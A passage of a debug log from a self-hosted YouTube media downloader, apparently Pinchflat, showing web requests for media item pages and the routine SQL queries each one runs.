s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:54.178 [info] Sent 200 in 1ms 15:41:54.793 [info] GET /sources/1/media/6109 15:41:54.794 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6109", "source_id" => "1"} Pipelines: [:browser] 15:41:54.794 [debug] QUERY OK source="media_items" db=0.0ms idle=616.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6109] 15:41:54.794 [debug] QUERY OK source="tasks" db=0.0ms idle=616.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6109] 15:41:54.794 [debug] QUERY OK source="sources" db=0.0ms idle=616.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:41:54.794 [debug] QUERY OK source="settings" db=0.0ms idle=616.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:54.795 [debug] QUERY OK source="settings" db=0.0ms idle=37.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:54.795 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:54.795 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:54.796 [info] Sent 200 in 2ms 15:41:55.368 [info] GET /sources/1/media/6108 15:41:55.368 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6108", "source_id" => "1"} Pipelines: [:browser] 15:41:55.368 [debug] QUERY OK source="media_items" db=0.1ms idle=573.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6108] 15:41:55.368 [debug] QUERY OK source="tasks" db=0.0ms idle=573.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6108] 15:41:55.369 [debug] QUERY OK source="sources" db=0.0ms idle=573.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:41:55.369 [debug] QUERY OK source="settings" db=0.1ms idle=573.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:55.369 [debug] QUERY OK source="settings" db=0.0ms idle=573.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:55.369 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:55.370 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:55.370 [info] Sent 200 in 2ms 15:41:55.983 [info] GET /sources/3/media/6494 15:41:55.983 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6494", "source_id" => "3"} Pipelines: [:browser] 15:41:55.984 [debug] QUERY OK source="media_items" db=0.2ms idle=614.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6494] 15:41:55.984 [debug] QUERY OK source="tasks" db=0.1ms idle=615.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6494] 15:41:55.984 [debug] QUERY OK source="sources" db=0.1ms idle=614.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:55.984 [debug] QUERY OK source="settings" db=0.0ms idle=614.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:55.985 [debug] QUERY OK source="settings" db=0.0ms idle=226.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:55.985 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:55.985 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:55.986 [info] Sent 200 in 2ms 15:41:56.382 [info] GET /sources/3/media/6486 15:41:56.382 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6486", "source_id" => "3"} Pipelines: [:browser] 15:41:56.383 [debug] QUERY OK source="media_items" db=0.1ms idle=398.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6486] 15:41:56.383 [debug] QUERY OK source="tasks" db=0.0ms idle=398.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6486] 15:41:56.383 [debug] QUERY OK source="sources" db=0.1ms idle=398.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:56.383 [debug] QUERY OK source="settings" db=0.0ms idle=398.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:56.383 [debug] QUERY OK source="settings" db=0.0ms idle=397.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:56.384 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:56.384 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:56.385 [info] Sent 200 in 3ms 15:41:56.847 [info] GET /download_logs 15:41:56.847 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 15:41:56.847 [info] Sent 200 in 363µs 15:41:57.064 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:58.123 [info] GET /sources/3/media/6483 15:41:58.123 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6483", "source_id" => "3"} Pipelines: [:browser] 15:41:58.123 [debug] QUERY OK source="media_items" db=0.1ms idle=1059.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6483] 15:41:58.124 [debug] QUERY OK source="tasks" db=0.0ms idle=363.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6483] 15:41:58.124 [debug] QUERY OK source="sources" db=0.1ms idle=184.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:58.124 [debug] QUERY OK source="settings" db=0.0ms idle=184.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:58.124 [debug] QUERY OK source="settings" db=0.2ms idle=184.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:58.125 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:58.125 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:58.125 [info] Sent 200 in 2ms 15:41:58.447 [info] GET /sources/2/media/6123 15:41:58.447 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6123", "source_id" => "2"} Pipelines: [:browser] 15:41:58.448 [debug] QUERY OK source="media_items" db=0.1ms idle=323.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6123] 15:41:58.448 [debug] QUERY OK source="sources" db=0.0ms idle=323.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:41:58.448 [debug] QUERY OK source="tasks" db=0.0ms idle=323.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6123] 15:41:58.448 [debug] QUERY OK source="settings" db=0.0ms idle=323.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:58.448 [debug] QUERY OK source="settings" db=0.0ms idle=323.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:58.448 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:58.449 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:58.450 [info] Sent 200 in 2ms 15:41:59.029 [info] GET /sources/3/media/6491 15:41:59.029 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6491", "source_id" => "3"} Pipelines: [:browser] 15:41:59.030 [debug] QUERY OK source="media_items" db=0.1ms idle=581.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6491] 15:41:59.030 [debug] QUERY OK source="tasks" db=0.0ms idle=581.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6491] 15:41:59.030 [debug] QUERY OK source="sources" db=0.0ms idle=581.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:41:59.030 [debug] QUERY OK source="settings" db=0.0ms idle=581.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:59.030 [debug] QUERY OK source="settings" db=0.0ms idle=269.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:59.031 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:59.031 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:59.031 [info] Sent 200 in 2ms 15:41:59.293 [info] GET /sources/2/media/6128 15:41:59.293 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6128", "source_id" => "2"} Pipelines: [:browser] 15:41:59.293 [debug] QUERY OK source="media_items" db=0.0ms idle=262.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6128] 15:41:59.293 [debug] QUERY OK source="tasks" db=0.0ms idle=262.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6128] 15:41:59.293 [debug] QUERY OK source="sources" db=0.0ms idle=262.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:41:59.293 [debug] QUERY OK source="settings" db=0.0ms idle=262.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:59.294 [debug] QUERY OK source="settings" db=0.0ms idle=262.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:59.294 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:59.294 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT 